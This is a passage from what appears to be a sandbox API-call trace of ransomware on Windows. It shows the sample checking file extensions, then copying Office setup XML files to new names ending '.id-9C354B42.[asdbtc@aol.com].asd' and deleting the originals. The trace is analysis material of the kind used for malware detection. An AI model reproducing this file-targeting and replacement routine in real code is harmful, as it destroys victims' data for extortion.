lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString=".bz2") returned 4 [0050.065] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString=".7z") returned 3 [0050.065] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.065] lstrlenW (lpString=".dbf") returned 4 [0050.065] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.065] lstrlenW (lpString=".1cd") returned 4 [0050.065] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0050.065] lstrlenW (lpString=".jpg") returned 4 [0050.065] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.065] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.065] lstrlenW (lpString="Office32MUI.XML") returned 15 [0050.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.067] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1383) returned 1 [0050.067] CloseHandle (hObject=0x1f4) returned 1 [0050.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0050.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.067] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.067] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.069] GetLastError () returned 0x0 [0050.069] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x567, lpOverlapped=0x0) returned 1 [0050.070] WriteFile (in: hFile=0x200, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x570, lpOverlapped=0x0) returned 1 [0050.071] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.071] WriteFile (in: hFile=0x200, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0050.072] SetEndOfFile (hFile=0x200) returned 1 [0050.072] CloseHandle (hObject=0x200) returned 1 [0050.073] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.073] SetEndOfFile (hFile=0x1f4) returned 1 [0050.073] CloseHandle (hObject=0x1f4) returned 1 [0050.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.074] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0050.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.074] lstrlenW (lpString=".doc") returned 4 [0050.074] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.074] lstrlenW (lpString=".docx") returned 5 [0050.074] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.074] lstrlenW (lpString=".pdf") returned 4 [0050.074] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.074] lstrlenW (lpString=".xls") returned 4 [0050.074] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.074] lstrlenW (lpString=".xlsx") returned 5 [0050.074] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.074] lstrlenW (lpString=".ppt") returned 4 [0050.074] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.074] lstrlenW (lpString=".zip") returned 4 [0050.075] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.075] lstrlenW (lpString=".rar") returned 4 [0050.075] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString=".bz2") returned 4 [0050.075] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString=".7z") returned 3 [0050.075] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString=".dbf") returned 4 [0050.075] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString=".1cd") returned 4 [0050.075] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString=".jpg") returned 4 [0050.075] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString=".doc") returned 4 [0050.075] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString=".docx") returned 5 [0050.075] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.075] lstrlenW (lpString=".pdf") returned 4 [0050.075] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString=".xls") returned 4 [0050.075] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString=".xlsx") returned 5 [0050.075] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.075] lstrlenW (lpString=".ppt") returned 4 [0050.075] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.075] lstrlenW (lpString=".zip") returned 4 [0050.075] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.076] lstrlenW (lpString=".rar") returned 4 [0050.076] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.076] lstrlenW (lpString=".bz2") returned 4 [0050.076] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.076] lstrlenW (lpString=".7z") returned 3 [0050.076] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.076] lstrlenW (lpString=".dbf") returned 4 [0050.076] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.076] lstrlenW (lpString=".1cd") returned 4 [0050.076] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0050.076] lstrlenW (lpString=".jpg") returned 4 [0050.076] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.076] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.076] lstrlenW (lpString="SETUP.XML") returned 9 [0050.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.077] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2362) returned 1 [0050.077] CloseHandle (hObject=0x1f4) returned 1 [0050.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0050.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.077] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.077] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.077] GetLastError () returned 0x0 [0050.077] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x93a, lpOverlapped=0x0) returned 1 [0050.396] WriteFile (in: hFile=0x200, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x940, lpOverlapped=0x0) returned 1 [0050.397] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.397] WriteFile (in: hFile=0x200, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.398] SetEndOfFile (hFile=0x200) returned 1 [0050.398] CloseHandle (hObject=0x200) returned 1 [0050.399] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.399] SetEndOfFile (hFile=0x1f4) returned 1 [0050.399] CloseHandle (hObject=0x1f4) returned 1 [0050.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.400] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0050.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.400] lstrlenW (lpString=".doc") returned 4 [0050.400] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.400] lstrlenW (lpString=".docx") returned 5 [0050.400] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.400] lstrlenW (lpString=".pdf") returned 4 [0050.400] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.400] lstrlenW (lpString=".xls") returned 4 [0050.400] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.400] lstrlenW (lpString=".xlsx") returned 5 [0050.400] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.400] lstrlenW (lpString=".ppt") returned 4 [0050.401] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString=".zip") returned 4 [0050.401] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.401] lstrlenW (lpString=".rar") returned 4 [0050.401] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString=".bz2") returned 4 [0050.401] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString=".7z") returned 3 [0050.401] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString=".dbf") returned 4 [0050.401] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString=".1cd") returned 4 [0050.401] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString=".jpg") returned 4 [0050.401] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.401] lstrlenW (lpString=".doc") returned 4 [0050.401] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.401] lstrlenW (lpString=".docx") returned 5 [0050.401] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.401] lstrlenW (lpString=".pdf") returned 4 [0050.402] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString=".xls") returned 4 [0050.402] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString=".xlsx") returned 5 [0050.402] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.402] lstrlenW (lpString=".ppt") returned 4 [0050.402] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.402] lstrlenW (lpString=".zip") returned 4 [0050.402] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.402] lstrlenW (lpString=".rar") returned 4 [0050.402] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString=".bz2") returned 4 [0050.402] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString=".7z") returned 3 [0050.402] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.402] lstrlenW (lpString=".dbf") returned 4 [0050.402] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.402] lstrlenW (lpString=".1cd") returned 4 [0050.402] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0050.402] lstrlenW (lpString=".jpg") returned 4 [0050.402] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.402] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.402] lstrlenW (lpString="SETUP.XML") returned 9 [0050.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.096] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=4207) returned 1 [0051.096] CloseHandle (hObject=0x1f0) returned 1 [0051.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0051.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.115] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.117] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.118] GetLastError () returned 0x0 [0051.118] ReadFile (in: hFile=0x20c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x106f, lpOverlapped=0x0) returned 1 [0051.163] WriteFile (in: hFile=0x1fc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x1070, lpOverlapped=0x0) returned 1 [0051.165] ReadFile (in: hFile=0x20c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0051.165] WriteFile (in: hFile=0x1fc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.165] SetEndOfFile (hFile=0x1fc) returned 1 [0051.165] CloseHandle (hObject=0x1fc) returned 1 [0051.166] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.166] SetEndOfFile (hFile=0x20c) returned 1 [0051.167] CloseHandle (hObject=0x20c) returned 1 [0051.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.168] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0051.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.168] lstrlenW (lpString=".doc") returned 4 [0051.168] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.168] lstrlenW (lpString=".docx") returned 5 [0051.168] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.168] lstrlenW (lpString=".pdf") returned 4 [0051.168] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.168] lstrlenW (lpString=".xls") returned 4 [0051.168] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.168] lstrlenW (lpString=".xlsx") returned 5 [0051.168] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.169] lstrlenW (lpString=".ppt") returned 4 [0051.169] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString=".zip") returned 4 [0051.169] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.169] lstrlenW (lpString=".rar") returned 4 [0051.169] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString=".bz2") returned 4 [0051.169] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString=".7z") returned 3 [0051.169] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString=".dbf") returned 4 [0051.169] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString=".1cd") returned 4 [0051.169] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString=".jpg") returned 4 [0051.169] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0051.169] lstrlenW (lpString="C:\\Program 